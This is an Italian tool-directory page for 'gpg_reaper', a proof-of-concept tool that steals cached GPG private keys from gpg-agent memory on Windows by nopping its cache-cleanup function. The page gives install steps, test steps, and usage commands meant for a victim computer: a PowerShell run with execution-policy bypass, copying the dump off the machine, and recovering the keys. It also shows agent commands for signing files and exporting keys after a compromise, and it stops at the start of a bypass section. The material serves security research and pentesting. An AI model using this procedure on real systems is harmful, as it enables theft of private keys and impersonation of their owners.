Skip to content
KitploitKITPLOIT
StrumentiBlog
Log in
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
gpg_reaper — GPG Reaper - Ottenere/Rubare/Ripristinare le Chiavi Private GPG dalla cache/memoria di gpg-agent | Kitploit
Strumenti/GitHubGitHub/kacperszurek/gpg_reaper
Memory ForensicsExploitPost-ExploitPenetration Testing
GitHubkacperszurek/gpg_reaper

gpg_reaper

GPG Reaper - Ottenere/Rubare/Ripristinare le Chiavi Private GPG dalla cache/memoria di gpg-agent

Vedi Repository
961198 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

GPG Reaper

TL;DR: Ottenere/Rubare/Ripristinare Chiavi Private GPG dalla cache/memoria di gpg-agent

Logo GPG Reaper

Questa POC dimostra un metodo per ottenere chiavi private GPG dalla memoria di gpg-agent su Windows.

Normalmente ciò dovrebbe essere possibile solo entro un intervallo di 10 minuti (valore di --default-cache-ttl).

Sfortunatamente la funzione housekeeping() (responsabile della pulizia della cache) viene eseguita solo se stai usando GPG (non c'è un timer).

Ciò significa che in un caso d'uso normale di GPG come: firmi un file, poi chiudi la GUI e fai altro, la tua password è ancora nella memoria di gpg-agent (anche se la ttl è scaduta).

Un attaccante, con accesso alla tua sessione corrente, può utilizzare questo per rubare la chiave privata senza conoscere la tua passphrase.

NOTA: GPG cambierà il meccanismo di caching nella versione 2.2.6. Vedi commit e issue.

Implementazione Gpg Reaper

Indice

  • Installazione
  • Test
  • Introduzione
  • Utilizzo
  • Post sfruttamento su macchina con GPG
  • Bypass della restrizione di esportazione della chiave privata
  • Conclusione
  • Implementazione
  • Versioni supportate
  • FAQ
  • Attribuzione

Installazione

pip install PGPy

Se ottieni:

TypeError: Error when calling the metaclass bases metaclass conflict: the metaclass of a derived class must be a (non-strict) subclass of the metaclasses of all its bases` when running python script then:

allora:

pip install six==1.10.0

Test

1. Installa Gpg4Win 3.0.3

2. Apri il prompt dei comandi e avvia l'agente con 2 secondi di tempo di cache:

cd c:\Program Files (x86)\GnuPG\bin
taskkill /im gpg-agent.exe /F
gpg-agent.exe --daemon --default-cache-ttl 2

3. Esegui Kleopatra e genera una nuova coppia di chiavi

Genera chiave GPG

4. Firma un file di test di esempio

Firma file di test

5. Pinentry apparirà e ti chiederà la passphrase

Pinentry

6. Ripeti i passaggi 4-5. Ogni volta che pinentry appare perché la nostra cache di 2 secondi è scaduta

7. Esegui GPG reaper

powershell -ExecutionPolicy Bypass -File Gpg-Reaper.ps1 -OutputFile testme.txt

Vedrai qualcosa come:

[+] Detect GPG version 3.0.3
[*] Readed jmp bytes: F6-05-E0-F9-45-00-04-0F-85
[*] Readed housekeeping bytes: 55
[+] Find sec key
[+] Check key grip:
[*] uid           [ultimate] Adam Nowak <[email protected]>
[+] Found public key
[*] Allocate memory at: 2d00000
[+] Read debug log C:\Users\user\AppData\Local\Temp\gpg_D98F5932C4193BF82B9C773F13899DD586A1DE38_KqALSXPH.txt
[+] Key dumped
[*] Kill background Job
[*] Restore bytes

Come puoi vedere, abbiamo scaricato la chiave. Ciò è possibile perché abbiamo annullato (nop) la funzione housekeeping.

8. Ripristina la chiave privata:

python gpg_reaper.py .\testme.txt

La chiave privata viene scaricata nel file:

[+] Dump E057D86EE78A0EED070296C01BC8630ED9C841D0 - Adam Nowak <[email protected]>

Introduzione

GPG-Agent è un demone per gestire le chiavi private indipendentemente da qualsiasi protocollo.

L'interfaccia GUI comunica con l'agente usando il Protocollo Assuan.

Per impostazione predefinita, l'agente memorizza nella cache le tue credenziali.

L'opzione --default-cache-ttl n imposta il tempo di validità di una voce della cache a n secondi.

Il valore predefinito è 600 secondi. Ogni volta che una voce della cache viene accessa, il suo timer viene resettato.

Su Windows, il processo di firma si presenta così:

Processo di firma

La parte cruciale qui è la funzione housekeeping() che è responsabile della rimozione delle credenziali scadute dalla memoria.

Ma c'è un problema: questa funzione viene eseguita solo in due punti (all'interno di agent_put_cache e agent_get_cache).

Ciò significa che le credenziali memorizzate nella cache NON vengono rimosse dalla memoria finché non vengono eseguiti alcuni comandi di gpg-agent che utilizzano agent_put_cache o agent_get_cache o agent_flush_cache.

Utilizzo

Sul computer vittima:

powershell -ExecutionPolicy Bypass -File Gpg-Reaper.ps1 -OutputFile out.txt

Trasferisci out.txt sulla tua macchina e ripristina le chiavi private:

gpg_reaper.py out.txt

Le chiavi private verranno scaricate in file separati.

Se GPG è installato al di fuori delle directory predefinite:

Gpg-Reaper -GpgConnectAgentPath c:\gpg\gpg-connect-agent.exe -GpgAgentPath c:\gpg\gpg-agent.exe -GpgPath c:\gpg\gpg.exe

Se non vuoi messaggi di debug:

Gpg-Reaper -Verbose $false

Post sfruttamento su macchina con GPG

Supponiamo che tu stia facendo penetration testing e ottieni una shell su un computer con GPG installato.

Se sei fortunato e l'utente ha usato GPG di recente e la cache non è scaduta, puoi:

1. Firma un file:

Esegui c:\Program Files (x86)\GnuPG\bin\gpg-connect-agent.exe

  • Ottieni la lista delle chiavi disponibili sulla macchina specifica
KEYINFO --list
S KEYINFO 38EA3CACAF3A914C5EC2D05F86CDBDCFE83077D2 D - - - P - - -
  • Imposta keygrip e hash del messaggio
SIGKEY 38EA3CACAF3A914C5EC2D05F86CDBDCFE83077D2
# SHA512 del messaggio
SETHASH 10 7bfa95a688924c47c7d22381f20cc926f524beacb13f84e203d4bd8cb6ba2fce81c57a5f059bf3d509926487bde925b3bcee0635e4f7baeba054e5dba696b2bf
PKSIGN

2. Esporta la chiave privata:

Esegui c:\Program Files (x86)\GnuPG\bin\gpg-connect-agent.exe

  • Ottieni la chiave di wrapping
KEYWRAP_KEY --export
  • Esporta una chiave segreta dal key store. La chiave verrà crittografata usando la chiave di wrapping della sessione corrente con l'algoritmo AESWRAP-128
EXPORT_KEY 38EA3CACAF3A914C5EC2D05F86CDBDCFE83077D2

Sfortunatamente questo non funziona come previsto e richiede la password.

Perché? Perché la funzione cmd_export_key() esegue agent_key_from_file() con il flag CACHE_MODE_IGNORE il che significa che la cache non verrà utilizzata e all'utente verrà chiesta la passphrase ogni volta.

Bypass della restrizione di esportazione della chiave privata

Sappiamo che non è possibile esportare la chiave GPG tramite gpg-agent senza conoscere la password.

Scarica lo strumento